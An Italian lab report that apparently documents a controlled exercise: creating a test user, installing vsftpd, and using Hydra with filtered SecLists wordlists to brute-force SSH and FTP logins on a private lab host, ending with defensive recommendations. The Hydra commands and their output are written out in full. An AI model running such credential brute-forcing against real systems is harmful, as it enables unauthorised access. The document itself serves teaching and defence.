

Relazione Tecnica: Configurazione Servizi e Test di Autenticazione su Kali Linux

Data: 16 Gennaio 2026

Ambiente: Kali Linux

Target IP: 192.168.40.20

1) Introduzione

Hydra (noto anche come THC-Hydra) è un framework di sicurezza open-source specializzato nell'esecuzione di attacchi di tipo **network login cracking** parallelizzati. Sviluppato dal gruppo *The Hacker's Choice* (THC), è considerato lo standard industriale per testare la robustezza dei meccanismi di autenticazione dei servizi esposti su reti TCP/IP. A differenza dei tools di cracking offline (come **Hashcat** o **John the Ripper**), Hydra opera **online**, interagendo direttamente con i servizi di rete in tempo reale per verificare la validità di coppie di credenziali (**username** e **password**). Il core di Hydra è progettato per il **multithreading**. La sua capacità di gestire connessioni multiple in parallelo (fino a centinaia di thread simultanei) permette di massimizzare il throughput dei tentativi di login, riducendo drasticamente i tempi necessari per completare un attacco a dizionario rispetto a script sequenziali. Uno degli aspetti tecnici più rilevanti è la sua natura modulare. Infatti Hydra supporta oltre **50 protocolli di rete** (**SSH**, **FTP**, **TELNET**, ecc), rendendoli uno strumento universale per il penetration testing.

2) Obiettivo dell'Attività

L'attività riguarda la configurazione di un ambiente di test controllato, la creazione di utenze di prova e la successiva verifica della robustezza delle credenziali tramite strumenti di auditing per i servizi **SSH** e **FTP**.

3) Preparazione dell'Ambiente e Utenze

Le prime fasi hanno riguardato l'installazione dei tool necessari e la configurazione del sistema target **192.168.40.20**.

-Installazione Seclists: È stato installato il pacchetto seclists, una collezione di liste di nomi utente, password e dizionari essenziali per i test di sicurezza.

-Creazione Utente: È stato creato un utente di sistema denominato **test_user** e ad esso è stata associata la password **testpass** tramite il comando “**adduser**”.

```
(root㉿kali)-[~/home/kali]
└─# adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
└─# exit
```

-Preparazione Dizionari: Tramite il comando “**grep**”, sono stati filtrati i file di **Seclists** per creare file più piccoli e mirati con i seguenti comandi:

```
(kali㉿kali)-[~]
└─$ cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | grep test > xato-usernames.txt
```

-xato-usernames.txt: In questo file è presente la lista degli utenti filtrata.

```
(kali㉿kali)-[~]
└─$ cat /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords.txt | grep test > xato-passwords.txt
```

-xato-passwords.txt: In questo file è presente la lista di password filtrata.

4) Configurazione dei Servizi

Per testare l'accessibilità remota, sono stati configurati i seguenti servizi sul target:

-Servizio SSH

Il servizio **SSH** è stato verificato tramite un accesso diretto. Come mostrato negli screenshot, l'utente **test_user** è in grado di autenticarsi correttamente utilizzando, come detto, la password **testpass** sul sistema al target **192.168.40.20**.

Risultato: accesso effettuato correttamente!

```
(kali㉿kali)-[~]
└─$ ssh test_user@192.168.40.20
test_user@192.168.40.20's password:
Linux kali 6.16.8+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.16.8-1kali1 (2025-09-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jan 16 04:39:27 2026 from 192.168.40.20
(test_user㉿kali)-[~]
└─$
```

-Servizio FTP

È stato installato il server **FTP vsftpd (v3.0.5)** tramite il gestore pacchetti apt. Dopo l'installazione, il servizio è stato avviato per consentire i test di login.

Installazione vsftpd

```
(kali㉿kali)-[~]
$ sudo apt install vsftpd
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  amass-common   libdisplay-inf02   libdnspatch-1.0-2  libobjc-14-dev   libtheoradec1  libwsutil16    python3-gpg          python3-kismetcapturetlamp  python3-zombie-imp
  gir1.2-girepository-2.0  libgdata-2.30-16.0   libjs-jquery-ui   libplacebo349   libtheoraenc1  libx264-164    python3-kismetcapturebtgeiger  python3-protobuf  samba-ad-dc
  libcurl4       libibus-1.6.14-1    libjsunderscore  liblporntime1  liblufsread0  libv8-3.16.0-1  python3-kismetcapturefrakuszsibee  python3-pysm1  samba-ad-provision
  libcurluy2     libibusrepository-1.0-1  libmongoc-1.8-0t64  liblufsread17  liblufsshort18  python3-bluepy  python3-kismetcapturetl43  python3-xlutils  samba-dsdb-modules
  libbson-1.6-0t64  liblpgmepnp6t64  liblutsi1        liblufsshort15  liblufsshort18  python3-cipher1  python3-click-plugins  python3-kismetcapturetladsb  python3-xlw
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd

Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1031
Download size: 145 kB
Space needed: 356 kB / 45.2 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.4 [145 kB]
Fetched 145 kB in 3s (53.2 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 461987 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.5-0.4_amd64.deb ...
Unpacking vsftpd (3.0.5-0.4) ...
Setting up vsftpd (3.0.5-0.4) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty + /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-tc.tcl: We have no instructions for the vsftpd init script.
process-uid: No uid like nobody, we disable it.
Processing triggers for kali-menu (2.19.1-1) ...
Processing triggers for kali-menu (2025.4.2) ...


```

Verifica del login: Successo!

```
(kali㉿kali)-[~]
$ ftp test_user@192.168.40.20
Connected to 192.168.40.20.
220 (vsFTPD 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
```

5) Test di Autenticazione (Brute-Force Auditing)

Per trovare **utente** e **password** usiamo un attacco brute force (In cybersecurity, il **brute force** è un metodo di attacco che consiste nel tentare sistematicamente tutte le combinazioni possibili di credenziali fino a trovare quella corretta). Abbiamo usato il comando:

```
hydra -L xato-usernames.txt -P xato-passwords.txt -t2 192.168.40.20 ssh
```

Questo comando ci permette di fare un brute force al target **192.168.40.20** sull'protocollo SSH. In questo caso facciamo finta di non conoscere né utente e né password, utilizziamo quindi i file di testo che ci siamo precedentemente creati **xato-usernames.txt**, **xato-passwords.txt** con i rispettivi parametri **-L** (si usa per caricare una **lista di possibili utenti**) e **-P** (si usa per caricare la **wordlist delle password**) mentre l'opzione **-T2** controlla il numero di **thread**, ovvero quanti tentativi di login il programma esegue contemporaneamente.

Lanciamo il comando e vediamo cosa succede.

Risultato: Successo!

```
(kali㉿kali)-[~]
└─$ hydra -L xato-usernames.txt -P xato-passwords.txt -t2 192.168.40.20 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 06:15:18
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 48 login tries (l:6/p:8), -24 tries per task
[DATA] attacking ssh://192.168.40.20:22
[22] [ssh] host: 192.168.40.20 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 06:16:23
```

Abbiamo trovato utente: **test_user** e la password: **testpass**.

Facciamo lo stesso con il protocollo **FTP** usando lo stesso comando ma cambiando il protocollo:

```
hydra -L xato-usernames.txt -P xato-passwords.txt -t2 192.168.40.20 ftp
```

Anche in questo caso lanciamo il comando e vediamo cosa succede.

Risultato: Successo!

```
(kali㉿kali)-[~]
└─$ hydra -L xato-usernames.txt -P xato-passwords.txt -t2 192.168.40.20 ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-16 06:33:30
[DATA] max 2 tasks per 1 server, overall 2 tasks, 36 login tries (l:6/p:6), -18 tries per task
[DATA] attacking ftp://192.168.40.20:21/
[21] [ftp] host: 192.168.40.20 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-16 06:34:28
```

Abbiamo trovato utente :**test_user** e la password: **testpass**.

6) Conclusione

L'analisi effettuata dimostra l'efficacia di **Hydra** come strumento di verifica della sicurezza dei protocolli di rete. L'utilizzo del tool ha permesso di comprendere l'importanza della gestione delle sessioni e della protezione delle interfacce di login. In ottica di difesa (Blue Teaming), i risultati sottolineano come la sicurezza non dipenda solo dalla complessità della password, ma anche dalla capacità del sistema di rilevare e bloccare tentativi di connessione multipli e parallelizzati.

Per difendersi si raccomanda di usare:

-Implementazione di Meccanismi di Adaptive Blocking: L'adozione di soluzioni come **Fail2Ban** o **CrowdSec** è indispensabile per analizzare i log in tempo reale e bloccare gli indirizzi IP che mostrano pattern di attacco tipici di Hydra (molteplici tentativi falliti in un lasso di tempo ridotto).

-Transizione verso l'Autenticazione Passwordless: Ove possibile, si raccomanda di disabilitare l'autenticazione basata su password a favore di sistemi più robusti, come l'uso di chiavi asimmetriche (SSH Keys) o certificati digitali.

-Introduzione del Multi-Factor Authentication (MFA): L'MFA neutralizza l'efficacia di Hydra, poiché la conoscenza della password non è più sufficiente per ottenere l'accesso al sistema.

-Monitoraggio e Logging: È necessario configurare sistemi di **SIEM (Security Information and Event Management)** per generare alert immediati in caso di anomalie nei tentativi di login, permettendo così una risposta rapida agli incidenti.